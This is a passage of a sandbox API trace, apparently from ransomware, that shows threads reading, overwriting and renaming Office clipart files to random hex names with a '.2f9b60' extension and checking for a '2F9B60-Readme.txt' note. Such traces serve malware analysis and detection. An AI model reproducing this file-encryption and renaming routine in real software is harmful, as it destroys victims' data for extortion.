Seed=0x2c4ff850) returned 0x16d962db [0107.876] RtlRandomEx (in: Seed=0x2c4ff850 | out: Seed=0x2c4ff850) returned 0x130e82fe [0107.876] RtlRandomEx (in: Seed=0x2c4ff850 | out: Seed=0x2c4ff850) returned 0x6801c835 [0107.876] RtlRandomEx (in: Seed=0x2c4ff850 | out: Seed=0x2c4ff850) returned 0x5bf04655 [0107.876] RtlRandomEx (in: Seed=0x2c4ff850 | out: Seed=0x2c4ff850) returned 0x7e1b2c56 [0107.876] RtlRandomEx (in: Seed=0x2c4ff850 | out: Seed=0x2c4ff850) returned 0x2b43da8f [0107.876] RtlRandomEx (in: Seed=0x2c4ff850 | out: Seed=0x2c4ff850) returned 0x1628bc67 [0107.876] RtlRandomEx (in: Seed=0x2c4ff850 | out: Seed=0x2c4ff850) returned 0x5d824e1e [0107.890] ReadFile (in: hFile=0x1570, lpBuffer=0x41e62d00, nNumberOfBytesToRead=0xd14, lpNumberOfBytesRead=0x2c4ff850, lpOverlapped=0x0 | out: lpBuffer=0x41e62d00*, lpNumberOfBytesRead=0x2c4ff850*=0xd14, lpOverlapped=0x0) returned 1 [0107.890] SetFilePointerEx (in: hFile=0x1570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.890] WriteFile (in: hFile=0x1570, lpBuffer=0x41e66910*, nNumberOfBytesToWrite=0xd14, lpNumberOfBytesWritten=0x2c4ff854, lpOverlapped=0x0 | out: lpBuffer=0x41e66910*, lpNumberOfBytesWritten=0x2c4ff854*=0xd14, lpOverlapped=0x0) returned 1 [0107.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601e0 [0107.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8602a0 [0107.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8602a0) returned 1 [0107.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e66910) returned 1 [0107.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e62d00) returned 1 [0107.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866940) returned 1 [0107.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0107.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b8602a0 [0107.900] SetFilePointerEx (in: hFile=0x1570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0107.900] WriteFile (in: hFile=0x1570, lpBuffer=0x167700*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2c4ff970, lpOverlapped=0x0 | out: lpBuffer=0x167700*, lpNumberOfBytesWritten=0x2c4ff970*=0x10a, lpOverlapped=0x0) returned 1 [0107.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd976c0 [0107.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8672c0 [0107.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860270 [0107.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860270) returned 1 [0107.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0107.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860270 [0107.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860450 [0107.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860450) returned 1 [0107.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8672c0) returned 1 [0107.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 [0107.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0107.922] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="bd") returned 2 [0107.922] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="00") returned 2 [0107.922] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="5a") returned 2 [0107.922] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="74") returned 2 [0107.922] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="59") returned 2 [0107.922] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="4f") returned 2 [0107.922] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="79") returned 2 [0107.922] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="37") returned 2 [0107.922] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="91") returned 2 [0107.922] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="16") returned 2 [0107.922] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="e8") returned 2 [0107.922] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="a2") returned 2 [0107.922] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="ab") returned 2 [0107.922] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="9a") returned 2 [0107.922] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="a0") returned 2 [0107.922] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="a0") returned 2 [0107.922] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="cc") returned 2 [0107.922] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="83") returned 2 [0107.922] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="e5") returned 2 [0107.923] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="a9") returned 2 [0107.923] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="78") returned 2 [0107.923] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="5c") returned 2 [0107.923] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="ec") returned 2 [0107.923] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="6b") returned 2 [0107.923] RtlInitAnsiString (in: DestinationString=0x2c4ff9e8, SourceString="bd005a74594f79379116e8a2ab9aa0a0cc83e5a9785cec6b" | out: DestinationString="bd005a74594f79379116e8a2ab9aa0a0cc83e5a9785cec6b") [0107.923] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c4ff9b8, SourceString="bd005a74594f79379116e8a2ab9aa0a0cc83e5a9785cec6b", AllocateDestinationString=1 | out: DestinationString="bd005a74594f79379116e8a2ab9aa0a0cc83e5a9785cec6b") returned 0x0 [0107.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e790 [0107.923] wcscat (in: _Dest=0x20500270, _Source="bd005a74594f" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\bd005a74594f") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\bd005a74594f" [0107.923] wcscat (in: _Dest=0x20500270, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\bd005a74594f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\bd005a74594f.2f9b60" [0107.923] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\bd005a74594f.2f9b60", NtPathName=0x2c4ff990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\bd005a74594f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0107.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x106940 [0107.923] NtSetInformationFile (FileHandle=0x1570, IoStatusBlock=0x2c4ffa30, FileInformation=0x106940, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106940) returned 1 [0109.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027e5e0) returned 1 [0109.944] NtQueryInformationFile (in: FileHandle=0x1570, IoStatusBlock=0x2c4ff9f8, FileInformation=0x2c4ffa08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c4ff9f8, FileInformation=0x2c4ffa08) returned 0x0 [0109.944] NtSetInformationFile (FileHandle=0x1570, IoStatusBlock=0x2c4ff9f8, FileInformation=0x2c4ffa08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500270) returned 1 [0109.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e790) returned 1 [0109.963] FlushFileBuffers (hFile=0x1570) returned 1 [0109.977] CloseHandle (hObject=0x1570) returned 1 [0109.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20500310 [0109.978] wcscpy (in: _Dest=0x20500310, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.978] wcscat (in: _Dest=0x20500310, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500310) returned 1 [0109.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4bfe0) returned 1 Thread: id = 705 os_tid = 0x11e8 [0096.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf")) returned 0x20 [0107.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF", dwFileAttributes=0x20) returned 1 [0107.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15d0 [0107.825] GetFileSizeEx (in: hFile=0x15d0, lpFileSize=0x2c5cf960 | out: lpFileSize=0x2c5cf960*=4296) returned 1 [0107.825] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0x10c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.826] ReadFile (in: hFile=0x15d0, lpBuffer=0x2c5cf8e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5cf928, lpOverlapped=0x0 | out: lpBuffer=0x2c5cf8e0*, lpNumberOfBytesRead=0x2c5cf928*=0x4, lpOverlapped=0x0) returned 1 [0107.845] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601b0 [0107.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860450 [0107.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860390 [0107.846] NtQuerySystemTime (in: CurrentTime=0x2c5cf820 | out: CurrentTime=0x2c5cf820*=132462177133414000) returned 0x0 [0107.846] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0x4eb0d5a7 [0107.846] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0x45241b12 [0107.846] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0x6e7be5fd [0107.846] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0x23c2fa6d [0107.846] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0xe6bee58 [0107.846] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0x5fee6899 [0107.846] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0x1dbc2651 [0107.847] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0x31258d3e [0107.847] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0x5bc97f58 [0107.847] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0xbd50b87 [0107.847] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0x64d0d419 [0107.847] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0x2197b98b [0107.847] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0x658805c [0107.847] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0x7fa584fd [0107.847] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0x50af05da [0107.847] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0x1a125472 [0107.847] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0x28fac9e5 [0107.847] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0x17ce6c1f [0107.847] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0x23761876 [0107.847] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0x1766ae21 [0107.847] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0x35c5ee24 [0107.847] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0x3f004f2f [0107.847] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0x7b8ae4b9 [0107.847] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0x3630b6e [0107.847] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0x29e884e4 [0107.847] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0x31302041 [0107.847] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0x213de0a3 [0107.847] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0x6668ae6f [0107.847] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0x6eb847d8 [0107.847] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0x71fbc185 [0107.847] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0x47a3c19e [0107.848] RtlRandomEx (in: Seed=0x2c5cf810 | out: Seed=0x2c5cf810) returned 0x7ae68a59 [0107.858] ReadFile (in: hFile=0x15d0, lpBuffer=0x41e5b4e0, nNumberOfBytesToRead=0x10c8, lpNumberOfBytesRead=0x2c5cf810, lpOverlapped=0x0 | out: lpBuffer=0x41e5b4e0*, lpNumberOfBytesRead=0x2c5cf810*=0x10c8, lpOverlapped=0x0) returned 1 [0107.868] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.868] WriteFile (in: hFile=0x15d0, lpBuffer=0x41e5f0f0*, nNumberOfBytesToWrite=0x10c8, lpNumberOfBytesWritten=0x2c5cf814, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesWritten=0x2c5cf814*=0x10c8, lpOverlapped=0x0) returned 1 [0107.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fee0 [0107.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860420 [0107.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860420) returned 1 [0107.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5f0f0) returned 1 [0107.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5b4e0) returned 1 [0107.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8672c0) returned 1 [0107.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 [0107.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860420 [0107.896] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0107.896] WriteFile (in: hFile=0x15d0, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2c5cf930, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x2c5cf930*=0x10a, lpOverlapped=0x0) returned 1 [0107.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0107.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866940 [0107.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604b0 [0107.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8604b0) returned 1 [0107.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0107.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604b0 [0107.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860480 [0107.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860480) returned 1 [0107.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866940) returned 1 [0107.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0107.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0107.902] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="bc") returned 2 [0107.902] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="6d") returned 2 [0107.902] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="be") returned 2 [0107.902] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="23") returned 2 [0107.903] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="51") returned 2 [0107.903] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="b8") returned 2 [0107.903] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="81") returned 2 [0107.903] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="7b") returned 2 [0107.903] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="37") returned 2 [0107.903] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="e4") returned 2 [0107.903] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="75") returned 2 [0107.903] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="74") returned 2 [0107.903] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="d7") returned 2 [0107.903] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="9f") returned 2 [0107.903] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="18") returned 2 [0107.903] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="19") returned 2 [0107.903] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="ff") returned 2 [0107.903] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="d4") returned 2 [0107.903] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="e3") returned 2 [0107.903] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="5e") returned 2 [0107.903] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="d8") returned 2 [0107.903] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="3c") returned 2 [0107.903] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="9f") returned 2 [0107.903] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="cb") returned 2 [0107.903] RtlInitAnsiString (in: DestinationString=0x2c5cf9a8, SourceString="bc6dbe2351b8817b37e47574d79f1819ffd4e35ed83c9fcb" | out: DestinationString="bc6dbe2351b8817b37e47574d79f1819ffd4e35ed83c9fcb") [0107.904] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c5cf978, SourceString="bc6dbe2351b8817b37e47574d79f1819ffd4e35ed83c9fcb", AllocateDestinationString=1 | out: DestinationString="bc6dbe2351b8817b37e47574d79f1819ffd4e35ed83c9fcb") returned 0x0 [0107.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e9c0 [0107.904] wcscat (in: _Dest=0x204ff730, _Source="bc6dbe2351b8" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\bc6dbe2351b8") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\bc6dbe2351b8" [0107.904] wcscat (in: _Dest=0x204ff730, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\bc6dbe2351b8.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\bc6dbe2351b8.2f9b60" [0107.904] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\bc6dbe2351b8.2f9b60", NtPathName=0x2c5cf950, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\bc6dbe2351b8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0107.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1079c0 [0107.904] NtSetInformationFile (FileHandle=0x15d0, IoStatusBlock=0x2c5cf9f0, FileInformation=0x1079c0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1079c0) returned 1 [0109.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027e810) returned 1 [0109.945] NtQueryInformationFile (in: FileHandle=0x15d0, IoStatusBlock=0x2c5cf9b8, FileInformation=0x2c5cf9c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c5cf9b8, FileInformation=0x2c5cf9c8) returned 0x0 [0109.945] NtSetInformationFile (FileHandle=0x15d0, IoStatusBlock=0x2c5cf9b8, FileInformation=0x2c5cf9c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff730) returned 1 [0109.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e9c0) returned 1 [0109.960] FlushFileBuffers (hFile=0x15d0) returned 1 [0109.980] CloseHandle (hObject=0x15d0) returned 1 [0109.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20500310 [0109.981] wcscpy (in: _Dest=0x20500310, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.981] wcscat (in: _Dest=0x20500310, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500310) returned 1 [0109.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4c070) returned 1 Thread: id = 706 os_tid = 0x11ec [0096.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf")) returned 0x20 [0107.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF", dwFileAttributes=0x20) returned 1 [0107.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe00 [0107.776] GetFileSizeEx (in: hFile=0xe00, lpFileSize=0x2c71f9a0 | out: lpFileSize=0x2c71f9a0*=3228) returned 1 [0107.776] SetFilePointerEx (in: hFile=0xe00, liDistanceToMove=0xc98, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.777] ReadFile (in: hFile=0xe00, lpBuffer=0x2c71f920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c71f968, lpOverlapped=0x0 | out: lpBuffer=0x2c71f920*, lpNumberOfBytesRead=0x2c71f968*=0x4, lpOverlapped=0x0) returned 1 [0107.803] SetFilePointerEx (in: hFile=0xe00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860030 [0107.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8602d0 [0107.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601b0 [0107.803] NtQuerySystemTime (in: CurrentTime=0x2c71f860 | out: CurrentTime=0x2c71f860*=132462177132946000) returned 0x0 [0107.803] RtlRandomEx (in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0x2a360b2a [0107.804] RtlRandomEx (in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0xda0f8ab [0107.804] RtlRandomEx (in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0x2d5d7cbd [0107.804] RtlRandomEx (in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0x57eac72e [0107.804] RtlRandomEx (in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0x40f3c61d [0107.804] RtlRandomEx (in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0x51f8e3c9 [0107.804] RtlRandomEx (in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0xe9adf20 [0107.804] RtlRandomEx (in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0xdef03f0 [0107.804] RtlRandomEx (in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0x2fdfebfb [0107.804] RtlRandomEx (in: Seed=0x2c71f850 | out: Seed=0x2c71f850) returned 0x672104e6 [0107.804] RtlRandomEx 